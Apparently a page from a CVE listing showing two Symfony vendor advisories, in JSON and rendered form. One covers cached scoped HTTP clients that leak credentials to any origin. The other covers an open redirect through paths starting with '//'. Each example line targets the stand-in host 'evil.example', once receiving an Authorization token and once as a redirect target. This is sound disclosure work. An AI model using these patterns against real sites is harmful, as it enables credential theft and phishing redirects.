"value": "Since Symfony 7.4, `framework.http_client.scoped_clients` can enable caching on a scoped client. FrameworkBundle then puts a `CachingHttpClient` inside the `ScopingHttpClient`, with the options of the scope as default options. `CachingHttpClient` merges them into every request. So the credentials of the scope, like `auth_bearer`, `auth_basic` or an `Authorization` header, are also sent to URLs outside the scope:\n\n```yaml\nframework:\n http_client:\n scoped_clients:\n github.client:\n base_uri: \u0027https://api.github.com\u0027\n headers: { Authorization: \u0027token GH-SECRET\u0027 }\n caching: { enabled: true }\n```\n\n```php\n$githubClient-\u003erequest(\u0027GET\u0027, \u0027https://evil.example/steal\u0027); // sent with \"Authorization: token GH-SECRET\"\n```\n\nEvery option of the scope applies outside of it, not only the credentials, for example `verify_peer: false`, a client certificate, `proxy` or `resolve`. Without `caching`, `ScopingHttpClient` sends no option of the scope to `evil.example`. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.\n\nThe `CachingHttpClient` of a scoped client is now registered without default options. `ScopingHttpClient` already applies them to the requests that match the scope."
}
],
"value": "Since Symfony 7.4, framework.http_client.scoped_clients can enable caching on a scoped client. FrameworkBundle then puts a CachingHttpClient inside the ScopingHttpClient, with the options of the scope as default options. CachingHttpClient merges them into every request. So the credentials of the scope, like auth_bearer, auth_basic or an Authorization header, are also sent to URLs outside the scope:\n\nframework:\n http_client:\n scoped_clients:\n github.client:\n base_uri: \u0027https://api.github.com\u0027\n headers: { Authorization: \u0027token GH-SECRET\u0027 }\n caching: { enabled: true }\n\n$githubClient-\u003erequest(\u0027GET\u0027, \u0027https://evil.example/steal\u0027); // sent with \"Authorization: token GH-SECRET\"\n\nEvery option of the scope applies outside of it, not only the credentials, for example verify_peer: false, a client certificate, proxy or resolve. Without caching, ScopingHttpClient sends no option of the scope to evil.example. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.\n\nThe CachingHttpClient of a scoped client is now registered without default options. ScopingHttpClient already applies them to the requests that match the scope."
}
],
"metrics": [
{
"cvssV4_0": {
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200 Exposure of Sensitive Information to an Unauthorized Actor",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-522",
"description": "CWE-522 Insufficiently Protected Credentials",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-25T10:00:07.584Z",
"orgId": "b5aa5c7f-767d-4597-9c64-3ac08b8711c6",
"shortName": "Symfony"
},
"references": [
{
"name": "CVE-2026-133747",
"tags": [
"vendor-advisory"
],
"url": "https://symfony.com/cve-2026-133747"
},
{
"name": "GHSA-4vfr-w5wp-83fr",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/symfony/symfony/security/advisories/GHSA-4vfr-w5wp-83fr"
},
{
"tags": [
"patch"
],
"url": "https://github.com/symfony/symfony/commit/b5c9d4329ece256385a84fa06776315beab68974"
}
],
"source": {
"advisory": "GHSA-4vfr-w5wp-83fr",
"discovery": "UNKNOWN"
},
"title": "Scoped HTTP Clients With Caching Enabled Send Their Credentials to Any Origin",
"x_generator": {
"engine": "symfony/ghsa-to-cve"
}
}
},
"cveMetadata": {
"assignerOrgId": "b5aa5c7f-767d-4597-9c64-3ac08b8711c6",
"assignerShortName": "Symfony",
"cveId": "CVE-2026-133747",
"datePublished": "2026-11-25T10:00:07.584Z",
"dateReserved": "2026-11-20T14:01:43.157Z",
"dateUpdated": "2026-11-25T10:00:07.584Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-133745 (GCVE-0-2026-133745)
Vulnerability from cvelistv5 – Published: 2026-11-25 10:00 – Updated: 2026-11-25 10:08
VLAI
EPSS
VEX
Title
Trailing-Slash and Scheme Redirects Send Paths Starting With // to Another Host
Summary
The router redirects a request to the same URL with or without its trailing slash, or with the scheme that a route requires. To do so, the matcher returns RedirectController::urlRedirectAction() with the path info of the request as path. Since Symfony 5.4.44, 6.4.12 and 7.1.5, urlRedirectAction() turns a path that starts with // into <scheme>://..., so that protocol-relative targets configured in routes work. The path info of a request starts with // when its URI does. So these redirects send the browser to the host written at the start of the path:
GET https://app.example//evil.example/edit/ => 301 Location: https://evil.example/edit
This affects routes whose path starts with a placeholder that accepts /, like /{path}/edit with the .+ requirement. The trailing-slash redirect applies to all of them, and the scheme redirect to the ones that require a scheme. A front controller in a subdirectory doesn't prevent it.
The matcher now encodes the slash or backslash that follows the leading slash of the path it redirects to, as %2F or %5C. It also does so when tabs or newlines come in between. The target route still matches it, and protocol-relative targets configured in routes keep working.
The matchers of the Routing component encode it too before calling RedirectableUrlMatcherInterface::redirect(), so that other implementations of this method get the encoded path as well.
Severity
CWE
- CWE-601 - URL Redirection to Untrusted Site
References
3 references
| URL | Tags |
|---|---|
| https://symfony.com/cve-2026-133745 | vendor-advisory |
| https://github.com/symfony/symfony/security/advis… | vendor-advisory |
| https://github.com/symfony/symfony/commit/f2efcbc… | patch |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Symfony | symfony/framework-bundle |
Affected:
5.4.44 , < 5.4.57
(semver)
Affected: 6.4.12 , < 6.4.51 (semver) Affected: 7.1.5 , < 7.4.24 (semver) Affected: 8.0.0 , < 8.1.12 (semver) |
|
| Symfony | symfony/symfony |
Affected:
5.4.44 , < 5.4.57
(semver)
Affected: 6.4.12 , < 6.4.51 (semver) Affected: 7.1.5 , < 7.4.24 (semver) Affected: 8.0.0 , < 8.1.12 (semver) |
Date Public
2026-11-25 09:35
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://packagist.org",
"defaultStatus": "unaffected",
"packageName": "symfony/framework-bundle",
"product": "symfony/framework-bundle",
"repo": "https://github.com/symfony/symfony",
"vendor": "Symfony",
"versions": [
{
"lessThan": "5.4.57",
"status": "affected",
"version": "5.4.44",
"versionType": "semver"
},
{
"lessThan": "6.4.51",
"status": "affected",
"version": "6.4.12",
"versionType": "semver"
},
{
"lessThan": "7.4.24",
"status": "affected",
"version": "7.1.5",
"versionType": "semver"
},
{
"lessThan": "8.1.12",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://packagist.org",
"defaultStatus": "unaffected",
"packageName": "symfony/symfony",
"product": "symfony/symfony",
"repo": "https://github.com/symfony/symfony",
"vendor": "Symfony",
"versions": [
{
"lessThan": "5.4.57",
"status": "affected",
"version": "5.4.44",
"versionType": "semver"
},
{
"lessThan": "6.4.51",
"status": "affected",
"version": "6.4.12",
"versionType": "semver"
},
{
"lessThan": "7.4.24",
"status": "affected",
"version": "7.1.5",
"versionType": "semver"
},
{
"lessThan": "8.1.12",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Yan Buatois"
},
{
"lang": "en",
"type": "finder",
"value": "Amimul Ihsan"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Nicolas Grekas"
}
],
"datePublic": "2026-11-25T09:35:56.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/markdown",
"value": "The router redirects a request to the same URL with or without its trailing slash, or with the scheme that a route requires. To do so, the matcher returns `RedirectController::urlRedirectAction()` with the path info of the request as `path`. Since Symfony 5.4.44, 6.4.12 and 7.1.5, `urlRedirectAction()` turns a path that starts with `//` into `\u003cscheme\u003e://...`, so that protocol-relative targets configured in routes work. The path info of a request starts with `//` when its URI does. So these redirects send the browser to the host written at the start of the path:\n\n```\nGET https://app.example//evil.example/edit/ =\u003e 301 Location: https://evil.example/edit\n```\n\nThis affects routes whose path starts with a placeholder that accepts `/`, like `/{path}/edit` with the `.+` requirement. The trailing-slash redirect applies to all of them, and the scheme redirect to the ones that require a scheme. A front controller in a subdirectory doesn\u0027t prevent it.\n\nThe matcher now encodes the slash or backslash that follows the leading slash of the path it redirects to, as `%2F` or `%5C`. It also does so when tabs or newlines come in between. The target route still matches it, and protocol-relative targets configured in routes keep working.\n\nThe matchers of the Routing component encode it too before calling `RedirectableUrlMatcherInterface::redirect()`, so that other implementations of this method get the encoded path as well."
}
],
"value": "The router redirects a request to the same URL with or without its trailing slash, or with the scheme that a route requires. To do so, the matcher returns RedirectController::urlRedirectAction() with the path info of the request as path. Since Symfony 5.4.44, 6.4.12 and 7.1.5, urlRedirectAction() turns a path that starts with // into \u003cscheme\u003e://..., so that protocol-relative targets configured in routes work. The path info of a request starts with // when its URI does. So these redirects send the browser to the host written at the start of the path:\n\nGET https://app.example//evil.example/edit/ =\u003e 301 Location: https://evil.example/edit\n\nThis affects routes whose path starts with a placeholder that accepts /, like /{path}/edit with the .+ requirement. The trailing-slash redirect applies to all of them, and the scheme redirect to the ones that require a scheme. A front controller in a subdirectory doesn\u0027t prevent it.\n\nThe matcher now encodes the slash or backslash that follows the leading slash of the path it redirects to, as %2F or %5C. It also does so when tabs or newlines come in between. The target route still matches it, and protocol-relative targets configured in routes keep working.\n\nThe matchers of the Routing component encode it too before calling RedirectableUrlMatcherInterface::redirect(), so that other implementations of this method get the encoded path as well."
}
],
"metrics": [
{
"cvssV4_0": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-601",
"description": "CWE-601 URL Redirection to Untrusted Site",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-25T10:08:08.905Z",
"orgId": "b5aa5c7f-767d-4597-9c64-3ac08b8711c6",
"shortName": "Symfony"
},
"references": [
{
"name": "CVE-2026-133745",
"tags": [
"vendor-advisory"
],
"url": "https://symfony.com/cve-2026-133745"
},
{
"name": "GHSA-q2qh-q4p8-qcmj",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/symfony/symfony/security/advisories/GHSA-q2qh-q4p8-qcmj"
},
{
"tags": [
"patch"
],
"url": "https://github.com/symfony/symfony/commit/f2efcbcb236cf18a4efa71581c20edbe03c7ef6b"
}
],
"source": {
"advisory": "GHSA-q2qh-q4p8-qcmj",
"discovery": "UNKNOWN"
},
"title": "Trailing-Slash and Scheme Redirects Send Paths Starting With // to Another Host",
"x_generator": {
"engine": "symfony/ghsa-to-cve"
}
}
},
"cveMetadata": {
"assignerOrgId": "b5aa5c7f-767d-4597-9c64-3ac08b8711c6",
"assignerShortName": "Symfony",
"cveId": "CVE-2026-133745",
"datePublished": "2026-11-25T10:00:05.781Z",
"dateReserved": "2026-11-20T14:01:43.157Z",
"dateUpdated": "2026-11-25T10:08:08.905Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}